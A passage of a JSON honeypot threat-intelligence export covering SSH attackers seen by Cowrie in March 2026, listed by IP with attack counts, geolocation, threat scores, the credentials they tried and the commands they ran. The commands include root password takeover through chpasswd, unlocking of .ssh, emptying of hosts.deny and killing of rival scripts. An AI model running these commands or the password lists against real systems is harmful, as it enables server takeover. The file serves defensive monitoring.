        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 619,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T20:02:14.884000+00:00",
        "last_seen_30d": "2026-03-21T08:57:46.572000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 536,
        "Suricata": 83
      }
    },
    "223.197.186.7": {
      "attack_count": 511,
      "first_seen": "2026-03-04T14:18:52.786Z",
      "last_seen": "2026-03-12T16:38:08.268Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "oneadmin",
        "tv",
        "abhishek",
        "administrador",
        "miguel",
        "ming",
        "odm",
        "sky"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "12345",
        "123456",
        "Bingo@1993",
        "Bismillah@123",
        "Ch123456",
        "Qwer123!",
        "Qwert123",
        "Root2024!",
        "Welcome12#",
        "miguel",
        "mingpass",
        "oneadmin123!",
        "opop",
        "password",
        "root@",
        "sky",
        "test123@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345\\nu75KD3qCyBa9\\nu75KD3qCyBa9\\n\"|passwd",
        "echo \"oneadmin123!\\ncje9nv5WDn98\\ncje9nv5WDn98\\n\"|passwd",
        "echo \"password\\ndMEy0xmYBMLv\\ndMEy0xmYBMLv\\n\"|passwd",
        "echo \"root:E6itowMHrROq\"|chpasswd|bash",
        "echo \"root:W746Jes0lDuX\"|chpasswd|bash",
        "echo \"root:YfR9gLfY4cjH\"|chpasswd|bash",
        "echo -e \"12345\\nu75KD3qCyBa9\\nu75KD3qCyBa9\"|passwd|bash",
        "echo -e \"oneadmin123!\\ncje9nv5WDn98\\ncje9nv5WDn98\"|passwd|bash",
        "echo -e \"password\\ndMEy0xmYBMLv\\ndMEy0xmYBMLv\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 4760,
      "as_org": "HKT Limited",
      "threat_score": 17.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.7,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 586,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T14:18:52.786000+00:00",
        "last_seen_30d": "2026-03-12T16:39:13.735000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 511,
        "Suricata": 75
      }
    },
    "103.183.74.214": {
      "attack_count": 502,
      "first_seen": "2026-03-03T06:34:35.530Z",
      "last_seen": "2026-03-13T23:21:28.040Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "cliente",
        "admin",
        "ceshi2",
        "cyber",
        "dev",
        "frontend",
        "kapsch",
        "lek",
        "pedro",
        "rstudio",
        "scan"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1234@Abc",
        "1q2w3e4r@",
        "2024@@",
        "3edcXSW@",
        "@a",
        "A123456789**963",
        "Aa-2025",
        "Aa@123456789",
        "Baidu@123",
        "Bingo@1993",
        "Cliente123!",
        "Cyber123!",
        "Dev123",
        "Huawei!123",
        "QAZxsw123",
        "QWE",
        "Qwe123456."
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Aa-2025\\nfnW1w4IA8pPE\\nfnW1w4IA8pPE\\n\"|passwd",
        "echo \"Cliente123!\\nEenSP8YRvlxn\\nEenSP8YRvlxn\\n\"|passwd",
        "echo \"QWE\\nsOveGhlVkc85\\nsOveGhlVkc85\\n\"|passwd",
        "echo \"root:xBznDRQHaERD\"|chpasswd|bash",
        "echo -e \"Aa-2025\\nfnW1w4IA8pPE\\nfnW1w4IA8pPE\"|passwd|bash",
        "echo -e \"Cliente123!\\nEenSP8YRvlxn\\nEenSP8YRvlxn\"|passwd|bash",
        "echo -e \"QWE\\nsOveGhlVkc85\\nsOveGhlVkc85\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 19.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.9,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 611,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T06:34:35.530000+00:00",
        "last_seen_30d": "2026-03-13T23:22:35.905000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 502,
        "Suricata": 109
      }
    },
    "165.154.6.49": {
      "attack_count": 467,
      "first_seen": "2026-03-26T18:16:01.278Z",
      "last_seen": "2026-03-30T16:21:46.334Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "java",
        "yy",
        "hyun",
        "tmp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "#EDCvfr4%TGB",
        "1234554321",
        "123465h",
        "15975328",
        "ASDF1234",
        "Ab123456",
        "Ab123456!",
        "Amadeus",
        "Hx123456@",
        "PASSword",
        "Qwerty7890",
        "Welcome@1234",
        "Yt123456@",
        "a111222",
        "ab1234",
        "abcde!@#123",
        "admin54321",
        "hyunpass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"java123!\\n0Ji0KCOTbUod\\n0Ji0KCOTbUod\\n\"|passwd",
        "echo \"password\\nWwGUFxg0JOMK\\nWwGUFxg0JOMK\\n\"|passwd",
        "echo \"root:OJsUPbk2bjIa\"|chpasswd|bash",
        "echo \"root:YdVgCjAu3ljl\"|chpasswd|bash",
        "echo \"root:dRfWidKnAt1L\"|chpasswd|bash",
        "echo -e \"java123!\\n0Ji0KCOTbUod\\n0Ji0KCOTbUod\"|passwd|bash",
        "echo -e \"password\\nWwGUFxg0JOMK\\nWwGUFxg0JOMK\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 42.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.4,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 554,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T18:16:01.278000+00:00",
        "last_seen_30d": "2026-03-30T16:22:52.419000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 467,
        "Suricata": 87
      }
    },
    "118.219.234.233": {
      "attack_count": 424,
      "first_seen": "2026-03-15T20:06:26.933Z",
      "last_seen": "2026-03-27T02:40:37.841Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "azureuser",
        "simeon",
        "ehsan",
        "ken",
        "onlyoffice",
        "viewtinet",
        "vip1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "12345678",
        "121122",
        "123456Qwe",
        "1qaz@WSX3edc!",
        "A123456.",
        "A@123456",
        "Aa123123123",
        "Admin22",
        "Jupiter2025",
        "Oracle2024",
        "Password#1",
        "Password1234",
        "Renato@321",
        "Serveur123",
        "asdf1234!",
        "cricri",
        "ehsan123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\nZE5u2466REAg\\nZE5u2466REAg\\n\"|passwd",
        "echo \"Password1234\\nnAww8bmQR1F2\\nnAww8bmQR1F2\\n\"|passwd",
        "echo \"root:6pooIrfcbwuO\"|chpasswd|bash",
        "echo \"root:Cid5NMvsQrvJ\"|chpasswd|bash",
        "echo -e \"12345678\\nZE5u2466REAg\\nZE5u2466REAg\"|passwd|bash",
        "echo -e \"Password1234\\nnAww8bmQR1F2\\nnAww8bmQR1F2\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yeonsu-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 43.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.2,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 524,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T20:06:26.933000+00:00",
        "last_seen_30d": "2026-03-27T02:41:45.075000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 424,
        "Suricata": 100
      }
    },
    "103.4.145.50": {
      "attack_count": 375,
      "first_seen": "2026-03-07T05:42:38.151Z",
      "last_seen": "2026-03-21T04:18:59.856Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "search",
        "tanvir",
        "tmp",
        "ubuntu",
        "azuracast",
        "beehive",
        "boom",
        "casa",
        "chenghao",
        "deploy",
        "gns3",
        "hasan",
        "minecraft",
        "ming",
        "sysop",
        "toor",
        "x"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "1234",
        "12345",
        "123456",
        "Aa@121212",
        "Beehive123!",
        "Password123",
        "Root111111",
        "Tmp123!",
        "asdfghjkl",
        "minecraft123!",
        "ming123!",
        "password",
        "root@123",
        "sysop123!",
        "tanvirpass",
        "toor123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\nMU5RlwwegA7M\\nMU5RlwwegA7M\\n\"|passwd",
        "echo \"Tmp123!\\nmLtzPzo1jNTV\\nmLtzPzo1jNTV\\n\"|passwd",
        "echo \"root:7yh1AUDPWCz3\"|chpasswd|bash",
        "echo \"tanvirpass\\nnRfwNkrhaIR5\\nnRfwNkrhaIR5\\n\"|passwd",
        "echo -e \"1234\\nMU5RlwwegA7M\\nMU5RlwwegA7M\"|passwd|bash",
        "echo -e \"Tmp123!\\nmLtzPzo1jNTV\\nmLtzPzo1jNTV\"|passwd|bash",
        "echo -e \"tanvirpass\\nnRfwNkrhaIR5\\nnRfwNkrhaIR5\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Dhaka",
      "asn": 9441,
      "as_org": "Next Online Limited.",
      "threat_score": 34.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.4,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 440,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T05:42:38.151000+00:00",
        "last_seen_30d": "2026-03-21T04:20:01.631000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 375,
        "Suricata": 65
      }
    },
    "101.36.119.222": {
      "attack_count": 335,
      "first_seen": "2026-03-02T23:42:16.427Z",
      "last_seen": "2026-03-07T03:44:16.750Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "patrick",
        "admin",
        "admin1",
        "bot",
        "builder",
        "cw",
        "emo",
        "ftpsecure",
        "hzy",
        "ll",
        "marek",
        "mirror",
        "proxyuser",
        "saad",
        "sami",
        "sandbox",
        "shyam",
        "vendas"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1233218613",
        "12345678",
        "@qwer2025",
        ".Qq123456",
        "000",
        "123",
        "1234",
        "12345",
        "1234qwer@",
        "@qwer2024",
        "@qwer2026",
        "Abcd*1234",
        "Asdfgh123",
        "Black@123",
        "Cw123",
        "Hello12345",
        "P@ssw0rd!23"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nJESCOmD7r1XL\\nJESCOmD7r1XL\\n\"|passwd",
        "echo \"root:7RfeCCai9iBI\"|chpasswd|bash",
        "echo -e \"12345678\\nJESCOmD7r1XL\\nJESCOmD7r1XL\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 8.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.4,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 435,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T23:42:16.427000+00:00",
        "last_seen_30d": "2026-03-07T03:45:24.126000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 335,
        "Suricata": 100
      }
    },
    "209.97.168.111": {
      "attack_count": 331,
      "first_seen": "2026-03-12T07:40:16.827Z",
      "last_seen": "2026-03-12T08:03:05.697Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "emo",
        "kevin",
        "n8n",
        "yuhan",
        "admin",
        "ark",
        "hassan",
        "lekaren",
        "mc",
        "spawner",
        "student2"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "Itsemoemo2025@Washere2025",
        "Spawner123",
        "arkserver",
        "kevin1234",
        "n8n",
        "student2pass",
        "sysadmin",
        "yuhan1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Itsemoemo2025@Washere2025\\nbsTQWEMQt2J3\\nbsTQWEMQt2J3\\n\"|passwd",
        "echo \"kevin1234\\nmWJj1jUULaj9\\nmWJj1jUULaj9\\n\"|passwd",
        "echo \"n8n\\nLZXnHWWAu6bG\\nLZXnHWWAu6bG\\n\"|passwd",
        "echo \"yuhan1234\\nJMrrXlvwXFt3\\nJMrrXlvwXFt3\\n\"|passwd",
        "echo -e \"Itsemoemo2025@Washere2025\\nbsTQWEMQt2J3\\nbsTQWEMQt2J3\"|passwd|bash",
        "echo -e \"kevin1234\\nmWJj1jUULaj9\\nmWJj1jUULaj9\"|passwd|bash",
        "echo -e \"n8n\\nLZXnHWWAu6bG\\nLZXnHWWAu6bG\"|passwd|bash",
        "echo -e \"yuhan1234\\nJMrrXlvwXFt3\\nJMrrXlvwXFt3\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 373,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T07:40:16.827000+00:00",
        "last_seen_30d": "2026-03-12T08:04:12.901000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 42
      }
    },
    "87.106.35.227": {
      "attack_count": 331,
      "first_seen": "2026-03-03T12:46:24.894Z",
      "last_seen": "2026-03-25T22:45:04.682Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "allen",
        "webmin",
        "amine",
        "bryan",
        "dspace",
        "gm",
        "hugo",
        "intell",
        "lorenzo",
        "mukul",
        "radarr",
        "wei",
        "zhangliang"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "112211",
        "11235813",
        "Aa112233.",
        "Allen123",
        "Mukul123!",
        "P@$$w0rd1234",
        "Radarr123!",
        "Webmin123!",
        "Zhangliang123!",
        "a0s9d8f7",
        "a131452000",
        "a8zvmcx257",
        "a@123456",
        "bryanpass",
        "cloud@123",
        "deneme1",
        "dspace123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Allen123\\nLSpRAqDEDd8P\\nLSpRAqDEDd8P\\n\"|passwd",
        "echo \"Webmin123!\\nUf1G7IdMVGjX\\nUf1G7IdMVGjX\\n\"|passwd",
        "echo \"root:KY43tnhiv8eO\"|chpasswd|bash",
        "echo -e \"Allen123\\nLSpRAqDEDd8P\\nLSpRAqDEDd8P\"|passwd|bash",
        "echo -e \"Webmin123!\\nUf1G7IdMVGjX\\nUf1G7IdMVGjX\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 45.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.1,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 403,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T12:46:24.894000+00:00",
        "last_seen_30d": "2026-03-25T22:46:05.657000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 72
      }
    },
    "150.5.129.10": {
      "attack_count": 319,
      "first_seen": "2026-03-02T15:32:54.344Z",
      "last_seen": "2026-03-21T00:38:52.765Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "foo",
        "kali",
        "slave",
        "thor",
        "ts",
        "unifi",
        "ventas",
        "wocloud",
        "xiao",
        "yuan"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "123456",
        "123456.w",
        "12345678",
        "1234567890987654321",
        "1234asdf!@#$",
        "1q2w3e$R",
        "1qazxsw2@123",
        "2580",
        "Admin!23",
        "Admin123!@",
        "P@$sw0rd123",
        "Slave123!",
        "Wocloud123",
        "Www123123",
        "adminpass",
        "toor@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:9QrS6xxr8F24\"|chpasswd|bash",
        "echo \"root:tlI8GDhOdsMy\"|chpasswd|bash",
        "echo \"root:vuwbea2MWZzi\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 36.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.9,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 388,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T15:32:54.344000+00:00",
        "last_seen_30d": "2026-03-21T00:39:59.422000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 319,
        "Suricata": 69
      }
    },
    "192.99.169.99": {
      "attack_count": 286,
      "first_seen": "2026-03-26T12:56:42.329Z",
      "last_seen": "2026-03-31T13:13:36.546Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "handbrake",
        "openvas",
        "accounting",
        "overlay",
        "sage"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "!QAZ2wsx3edc",
        "!QAZxsw2",
        "$#@!ergean*(",
        "1qazxsw2!QAZXSW@",
        "Aa123456...",
        "Admin123.",
        "QY123456",
        "admin",
        "chinaidc2000",
        "mmidc123456",
        "password",
        "sage123",
        "xc123456",
        "zhenru123123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
